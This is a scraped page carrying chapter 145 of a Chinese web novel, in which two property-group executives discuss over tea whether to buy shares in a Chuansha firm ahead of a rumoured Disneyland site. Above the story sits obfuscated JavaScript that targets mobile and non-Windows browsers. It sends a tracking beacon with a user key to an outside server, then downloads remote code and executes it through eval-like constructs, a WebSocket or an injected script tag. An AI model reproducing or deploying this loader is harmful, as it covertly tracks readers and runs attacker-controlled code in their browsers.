第145章 小打小闹(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
从生普洱茶饼上掰一小瓣,放进茶盅里。
九十度的热水浸泡洗茶,能看见叶子逐渐舒展开,头杯茶水全都倒在小茶桌上,顺着小孔流进桌子下面的黑色圆桶里。
老范爱喝茶,周伟锡也爱喝茶,高管办公室添置茶具的风气,就是这么被带出来的。
看钱海泡茶,和看吴安韵泡茶,完全是两码事。
或许是刚当上高管没多久的缘故,泡茶动作显然不熟练,少了种美感,生普闷久了略微苦涩。
幸好范连城对茶水没讲究,对方凑合着泡,他也凑合着喝。
办公室面积不大,足足比范连城那间小了一半有余,钱海身后没人撑腰,平日在高管会议上说话都不敢太大声,能坐上今天这位置也算运气好。
澹台副总忽然走掉后,缺个熟悉业务的高管,而且投资部门单独拆分出去,以前跟地产部门一起都归澹台文博管理,老范只帮范连城挣了个地产项目负责人位置。
不能说投资部门可有可无,只是龙城集团一心放在住宅项目和商业地产项目上,除了广告、物业管理、小型建材和建筑等业务之外,投资部确实没怎么被重视,存在感较低。
其实将这些业务处理好了,股东们并不会说钱海闲话。
可他似乎总觉得拿不出点成绩,自己位置就坐不稳,于是隔三差五就会递交些计划,其中就包括抄底白色家电产业,拿钱投资搞副业。
此刻就在跟范连城诉苦,告诉说:“还没恭喜你,又是一大笔钱用来拿地,我这连物业管理中心想装空调,手里都掏不出余钱来,日子过得太紧,想干什么都没办法。”
这种话听听就行了,物业装空调还不是社区住户们掏钱。
范连城没当真,更没较真,笑着来句:
“那些家电制造板块、建材地产板块,我平时也盯着呢,在港股做空几家内地地产公司,挣到不少钱。
钱总你要是现在就想拿钱,去投资白色家电企业,我第一个不同意,明摆着往别人手里送钱,当韭菜滋味可不好受。人家喊几声跌到低了,我们不能直接往坑里跳,你说是吧。”
钱海当即点头:“我明白,所以上次就只是提了句要继续关注,没真想现在就投资。论起炒股,小范总你在咱们公司可是数一数二的存在,新闻里说你最少挣到五个亿,股民们都快把你供起来了,有个说法叫什么来着......魔都巴菲特。”
范连城加仓过,挣到的数远超五亿。
股市下跌前保守了些,这次操盘大赚两三倍的投资经理数量不少,倍数多不一定代表钱也多,范连城持仓金额高,差点就把拿出去投资的本金翻倍挣回来,已经相当满意了。
乐呵摆手道:“就是运气好赌对罢了,给人家股神提鞋子都不够格,有几个人能手上握着上千亿美金资产,我这只是小打小闹。”
在钱海看来,没反驳就说明真挣到这个数以上,心里那叫一个羡慕。
没在脸上表现出来,又说句客套话:“真的已经非常不错,又是股市又是房地产,两边开花,我是佩服得不得了。一开始网上还有人说你闲话,现在统统闭嘴,就连我儿子都听同学提到你,回来还跟我说起。”
冯大发夸他就像吃饭喝水一样简单,当耳旁风就行。
钱副总平日里还算稳重,突然说起漂亮话,范连城有些招架不住,回道:
“这事吧,我算把许多财经专家们得罪狠了,一棒子被我全打死,现在还好,就怕哪天亏了钱,被他们抓住口舌,龙城集团最近股价下跌,不就被他们反复提起了么,万柯分明跌得更多,也没见谁说。”
“你还年轻,没必要跟那帮人较真。”
钱海话音刚落,转而提起说:“我看这次迪士尼乐园落户咱们浦东的声音挺大,不像是空穴来风,听意思估计就差上头通过批准了,带动就业和城市形象的好事,又能拉动文化旅游产业,多半能成。
我最近吧,查找不少相关资料,最终选了家值得投资的公司,一旦迪士尼乐园真正落在目前设想的那地方,这家地产公司市值肯定疯涨,哪怕股市大盘下跌它也能涨。”
说话期间拿了份文件给范连城过目。
瞧见上面写着“杰龙集团”,范连城瞬间乐了,张嘴说:“这家公司的资料我查过,我身边的秦助理帮忙搜集过它的资料,川沙唯一一家上市公司,地产大户对吧,我看它那三千亩地大多数都是工业用地吧,主要用于对外出租。”
“不用管是出租还是自用,只要地价涨了,市值可不就要跟着上涨,概念股靠炒概念,实打实的正宗迪士尼概念股,我看这家公司都发公告了,只不过被大盘拖累,所以才依旧半死不活,有点风吹草动就能起来。”
提到这事钱海就来劲,生怕吸引不了范连城,拿过文件夹主动翻开给他看,说前段时间股价涨幅不高,市盈率不到二十倍之类。
和其他前段日子涨疯了的公司相比较,这种市盈率真不高。
当时让秦芷助理搜集完资料,范连城没看中这家公司,主要将心思放在了到附近拿地上。
听钱海介绍着,觉得如果从投资角度来分析,貌似有那么点意思,主要还是得看迪士尼乐园是否真正落户在那附近。
研究过城市规划,从早年的一城九镇,到后来的三城七镇,多个方向发展,就怕项目落地到其他地方,最终竹篮打水一场空。
考虑完告诉说:“这真的是投资,单赌迪士尼会在那附近落地,万一不成它的股价多半会下跌,要是董事会愿意投资,你打算投多少?”
钱海早已想过,告诉范连城:“大概一个亿左右,我明白有赌输的风险,不过其他地方土地价格不便宜,而且川沙离新机场也近,根据风声来看最有可能落在这。
我不可能替他们做决定,就是觉得赢面比较大,何况万一不成,最坏的情况也只是继续持股收租,厂房价格也有可能上涨,这几年过来的工厂数量比较多。”
再次喝杯茶。
范连城点了头,说道:“行,你的业务,你比我清楚。下次开会你提出来,我这边没问题。”
同样是高级副总裁,范连城仗着股权多,说话就是硬气些。
钱海早已过了会怨天尤人的年纪,就算捏着鼻子也要承认,有人确实一出生就轻松拥有别人想要的一切,哪怕付出再多努力都很难赶上。
听范连城同意,他就已经非常高兴,继续聊了会儿周边的情况,将范连城送出门......
——————————
回到自己办公室,和秦助理说起这事。